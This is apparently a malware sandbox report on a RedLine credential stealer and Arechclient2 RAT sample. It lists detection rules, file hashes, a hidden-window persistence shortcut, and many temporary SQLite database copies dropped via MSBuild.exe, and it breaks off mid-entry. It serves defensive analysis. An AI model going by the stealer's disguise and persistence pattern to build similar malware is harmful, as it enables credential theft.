Yara Hits:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\pvrrwvlxy, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\pvrrwvlxy, Author: Joe Security Rule: MALWARE_Win_Arechclient2, Description: Detects Arechclient2 RAT, Source: C:\Users\user\AppData\Local\Temp\pvrrwvlxy, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....W.O................................. ........@.. .......................`..............................................T...W.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......L....>..........T...@............................................0............. ....X..%-.&sp...sq...}-..... ....Y.~-.....UY.).... .....7...%.....~,.....[Y.)....sr...~-.....TY.)....os.........%.~t.... ....X~t.... ....X~t.... ....X(.....%.~-.....SY.)......~-.....RY.)....~0...%-.&~/.........su...%.0...(...+}.....0........... ....X..{M.....0............(..... .p..Y. ...@\...\a..Z3.+.~t.... .M..X+2~...... ....^ ...l_.3.+. 4.rc H:;..+.~t.... ...X..#.......@. ..... ....\

C:\Users\user\AppData\Local\Temp\runenwwtdnpx

Download File

Process:	C:\Windows\SysWOW64\more.com
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Oct 5 06:54:56 2023, mtime=Wed Sep 25 22:47:25 2024, atime=Wed Sep 25 22:47:21 2024, length=19169216, window=hide
Category:	dropped
Size (bytes):	983
Entropy (8bit):	5.041523537158011
Encrypted:	false
SSDEEP:	24:82fquee52i9aOLKGQ0SeswmAYoI0Gf4J0Jtm:8ne52ioI60SFoYn0GAJ0Jt
MD5:	F9022876F275F4C1E323331B9F421AA8
SHA1:	C49C827034E149F739C015A4F7244F467F312360
SHA-256:	26E722781F247003B57EEED5EADA895190BFB98DAA26D29FD20D1277C1DE1201
SHA-512:	054F019BE67ECD3082657BFFA717BCBF0D615BD5D33C193A0E1BCC687BAADC576C872379A5BBB90FE3AB257D8F562D4E8BD7C995FBD9D9E985CF78ED7E28DC05
Malicious:	false
Preview:	L..................F.... ...c.);a...,T.E....D1.C......$.......................:..DG..Yr?.D..U..k0.&...&......Qg._...^T.>.....-6L........t...CFSF..1.....EW.=..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW.=9Y...........................3N.A.p.p.D.a.t.a...B.V.1.....9Y...Roaming.@......EW.=9Y...........................vI..R.o.a.m.i.n.g.....j.1.....9Y...ITEINB~1..R......9Y.9Y............................tD.I.T.E.i.n.b.o.x.I.2.C.F.l.a.s.h.....h.2...$.9Y. .ITERHP~1.EXE..L......EW.>9Y.............................?.I.T.E.R.H.P.G.e.n...e.x.e.......p...............-.......o............v.......C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe..D.....\.....\.....\.....\.f.r.o.n.t.d.e.s.k.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.I.T.E.i.n.b.o.x.I.2.C.F.l.a.s.h.\.I.T.E.R.H.P.G.e.n...e.x.e.`.......X.......910646...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Local\Temp\tmp10FA.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1A60.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1AF3.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp29F4.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2A53.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2A8E.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3304.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp34BA.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3A00.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3B47.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3B92.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3F42.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4566.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp467D.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4DBF.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4F05.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp545C.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5548.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5C59.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5CC7.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5FA6.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6382.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6904.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6BB1.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
